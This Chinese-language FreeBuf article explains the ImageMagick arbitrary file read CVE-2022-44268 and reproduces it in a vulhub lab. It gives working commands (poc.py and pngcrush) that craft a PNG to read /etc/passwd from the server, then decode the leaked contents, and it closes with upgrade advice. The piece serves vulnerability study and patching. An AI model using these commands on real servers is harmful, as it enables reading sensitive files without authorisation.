freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

(CVE-2022-44268)ImageMagick 任意文件读取漏洞
2023-03-02 22:23:28

漏洞说明

当使用ImageMagic解析png文件时,生成的图片有可能嵌入本地的任意文件内容。恶意攻击者可通过现有的png添加恶意文件块类型。如果关键字是字符串“profile”,则ImageMagick会将文本字符串解释为文件名,并将其内容加载为原始配置文件。攻击者可以下载被ImageMagick编辑后的图片文件,并可从该文件中读取先前指定的文件内容。

ImageMagick

ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。ImageMagick是免费软件:全部源码开放,可以自由使用,复制,修改,发布,它遵守GPL许可协议,可以运行于大多数的操作系统,ImageMagick的大多数功能的使用都来源于命令行工具

PNG

PNG是20世纪90年代中期开始开发的图像文件存储格式,其目的是替代GIF和TIFF文件格式,同时增加一些GIF文件格式所不具备的特性。流式网络图形格式(Portable Network Graphic Format,PNG)名称来源于非官方的“PNG’s Not GIF”,是一种位图文件(bitmap file)存储格式,读成“ping”。PNG用来存储灰度图像时,灰度图像的深度可多到16位,存储彩色图像时,彩色图像的深度可多到48位,并且还可存储多到16位的α通道数据。PNG使用从LZ77派生的无损数据压缩算法。

PNG的文件结构是由文件署名和数据块组成的

  • 文件署名

PNG的文件署名固定为:89504e470d0a1a0a 这8字节用来判断文件是否为PNG文件。

  • 数据块

数据块是存在多个的,每个数据块由4个域组成:

  1. 数据域的长度(Length)
  2. 数据块类型码(Chunk Type Code)
  3. Chunk Data (数据块实际内容)
  4. CRC (循环冗余检测)

常见的数据块类型有:

  1. 文件头数据块IHDR
  2. 调色板数据块PLTE
  3. 图像数据块IDAT
  4. 图像结束数据IEND

除了这四类常见还有一些不常见的:

  1. 背景颜色数据块bKGD
  2. 基色和白色度数据块cHRM
  3. 图像γ数据块gAMA
  4. 图像直方图数据块hIST
  5. 物理像素尺寸数据块pHYs
  6. 样本有效位数据块sBIT
  7. 文本信息数据块tEXt
  8. 图像最后修改时间数据块tIME
  9. 图像透明数据块tRNS
  10. 压缩文本数据块zTXt

这次的漏洞就是出现在tEXt数据块中,当ImageMagic解析PNG时在tExt数据块中检测到关键字为"profile"后,就会奖profile的值作为文件名,然后去读取文件的内容并保存在新生成的的图片中。

影响版本

7.1.0-49<=ImageMagick < 7.1.0-52

漏洞复现

环境搭建使用P牛的vulhub进行启动:

https://github.com/vulhub/vulhub/tree/master/imagemagick/CVE-2022-44268

docker-compose up -d

启动后访问http://ip:8080

1677766391_6400aef73c9efaad45967.png!small?1677766391652

  1. 可以使用P牛提供的poc来生成图片
python3 poc.py generate -o poc.png -r /etc/passwd

1677766422_6400af1634beb912e6622.png!small?1677766422484

将生成的图片上传上去。再下载处理后的图片

1677766429_6400af1d71c930e353ba9.png!small?1677766429888

使用poc.py提取内容:

python3 poc.py parse -i result.png

1677766516_6400af74a2ecc030b5a4a.png!small?1677766517697

  1. 也可以使用pngcrush 生成图片


pngcrush -text a "profile" "/etc/passwd" poc.png

1677766558_6400af9ed473135fc0000.png!small?1677766559329

默认会生成pngout.png

上传该图片到服务器,再下载处理后的图片

1677766598_6400afc609bb540f76622.png!small?1677766598334

读取处理后的图片

identify -verbose pngresult.png

1677766617_6400afd9186632d5ef162.png!small?1677766618121

复制这段内容,使用python进行解码

print(bytes.fromhex(text).decode("utf-8"))

1677766646_6400aff6e4f40fdd9dbb7.png!small?1677766647656

修复建议

ImageMagick 7.1.0-52已修复该漏洞,可升级到修复版本以修复该问题:

https://github.com/ImageMagick/ImageMagick/releases

参考

https://wx.zsxq.com/dweb2/index/topic_detail/814821425482142

https://blog.csdn.net/suyimin2010/article/details/126042468

https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC

# 漏洞 # 渗透测试 # web安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录